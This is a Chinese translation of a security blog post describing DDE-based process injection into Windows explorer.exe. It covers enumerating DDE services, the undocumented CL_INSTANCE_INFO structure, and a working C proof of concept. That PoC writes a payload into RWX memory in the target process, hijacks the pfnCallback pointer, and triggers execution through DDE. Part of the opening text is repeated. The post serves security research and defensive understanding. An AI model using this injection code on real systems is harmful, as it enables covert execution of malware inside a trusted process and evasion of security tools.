原文:https://modexp.wordpress.com/2019/08/09/windows-process-injection-breaking-badder/
Windows 10里使用DDE的DLL有shell32.dll, ieframe.dll和twain_32.dll。shell32.dll在explorer.exe中创建了三个DDE服务。下面的代码使用DDEML API列出所有服务及服务所属的进程。
图1. shell32.dll中初始化DDE
所有核心功能都在user32!DdeInitializeW里。user32!InternalDdeInitialize在堆中为一个叫做CL_INSTANCE_INFO的结构申请了内存,该结构在公开SDK中没有,但在网上可以找到信息。
动态数据交换(Dynamic Data Exchange)是个数据共享协议,动态数据交换管理库(Dynamic Data Exchange Management Library)使应用程序能够通过DDE协议更方便地共享数据。2017年10月一个微软Office任意代码执行漏洞被发现后,DDE随即上了头条。从那以后,它就被默认关闭了,也就被大家认为是一个不重要的组件。本注入方法只局限于explorer.exe,当然如果你知道其它使用该协议的应用程序就另当别论了。我要感谢Adam关于使用DDE进行注入的讨论。
枚举DDE服务
Windows 10里使用DDE的DLL有shell32.dll, ieframe.dll和twain_32.dll。shell32.dll在explorer.exe中创建了三个DDE服务。下面的代码使用DDEML API列出所有服务及服务所属的进程。
VOID dde_list(VOID) {
CONVCONTEXT cc;
HCONVLIST cl;
DWORD idInst = 0;
HCONV c = NULL;
CONVINFO ci;
WCHAR server[MAX_PATH];
if(DMLERR_NO_ERROR != DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0)) {
printf("unable to initialize : %i.\n", GetLastError());
return;
}
ZeroMemory(&cc, sizeof(cc));
cc.cb = sizeof(cc);
cl = DdeConnectList(idInst, 0, 0, 0, &cc);
if(cl != NULL) {
for(;;) {
c = DdeQueryNextServer(cl, c);
if(c == NULL) break;
ci.cb = sizeof(ci);
DdeQueryConvInfo(c, QID_SYNC, &ci);
DdeQueryString(idInst, ci.hszSvcPartner, server, MAX_PATH, CP_WINUNICODE);
printf("Service : %-10ws Process : %ws\n",
server, wnd2proc(ci.hwndPartner));
}
DdeDisconnectList(cl);
} else {
printf("DdeConnectList : %x\n", DdeGetLastError(idInst));
}
DdeUninitialize(idInst);
}
DDE内部原理
图1为创建DDE服务的反编译代码。
图1. shell32.dll中初始化DDE
所有核心功能都在user32!DdeInitializeW里。user32!InternalDdeInitialize在堆中为一个叫做CL_INSTANCE_INFO的结构申请了内存,该结构在公开SDK中没有,但在网上可以找到信息。
typedef struct tagCL_INSTANCE_INFO {
struct tagCL_INSTANCE_INFO *next;
HANDLE hInstServer;
HANDLE hInstClient;
DWORD MonitorFlags;
HWND hwndMother;
HWND hwndEvent;
HWND hwndTimeout;
DWORD afCmd;
PFNCALLBACK pfnCallback;
DWORD LastError;
DWORD tid;
LATOM *plaNameService;
WORD cNameServiceAlloc;
PSERVER_LOOKUP aServerLookup;
short cServerLookupAlloc;
WORD ConvStartupState;
WORD flags; // IIF_ flags
short cInDDEMLCallback;
PLINK_COUNT pLinkCount;
} CL_INSTANCE_INFO, *PCL_INSTANCE_INFO;
我们唯一需要关注的成员是pfnCallback。注入步骤为:
1. 通过注册的类名“DDEMLMom”找到DDE母窗口。
2. 使用GetWindowLongPtr读CL_INSTANCE_INFO的地址。
3. 在远程进程中申请权限为RWX的内存并写入payload。
4. 使用远程进程中payload的地址重写pfncallback函数的指针。
5. 触发执行DDE。
图2位母窗口的属性。正如你看到的,Window Bytes的索引0被置位了。这是CL_INSTANCE_INFO的地址。
图2. DDE服务的母窗口
注入
下面的PoC举例该方法的工作效果。完整源代码见这里。
VOID dde_inject(LPVOID payload, DWORD payloadSize) {
HWND hw;
SIZE_T rd, wr;
LPVOID ptr, cs;
HANDLE hp;
CL_INSTANCE_INFO pcii;
CONVCONTEXT cc;
HCONVLIST cl;
DWORD pid, idInst = 0;
// 1. find a DDEML window and read the address of CL_INSTANCE_INFO
// 1. 找到DDEML窗口并读CL_INSTANCE_INFO地址
hw = FindWindowEx(NULL, NULL, L"DDEMLMom", NULL);
if (hw == NULL) return;
ptr = (LPVOID)GetWindowLongPtr(hw, GWLP_INSTANCE_INFO);
if (ptr == NULL) return;
// 2. open the process and read CL_INSTANCE_INFO
// 2. 打开进程并读CL_INSTANCE_INFO
GetWindowThreadProcessId(hw, &pid);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hp == NULL) return;
ReadProcessMemory(hp, ptr, &pcii, sizeof(pcii), &rd);
// 3. allocate RWX memory and write payload there. update callback
// 3. 申请RWX内存并写入payload
// 修改回调函数指针
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
WriteProcessMemory(
hp, (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback),
&cs, sizeof(ULONG_PTR), &wr);
// 4. trigger execution via DDE protocol
// 4. 基于DDE协议触发执行
DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0);
ZeroMemory(&cc, sizeof(cc));
cc.cb = sizeof(cc);
cl = DdeConnectList(idInst, 0, 0, 0, &cc);
DdeDisconnectList(cl);
DdeUninitialize(idInst);
// 5. restore original pointer and cleanup
// 5. 恢复原指针并清理
WriteProcessMemory(
hp,
(PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback),
&pcii.pfnCallback, sizeof(ULONG_PTR), &wr);
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}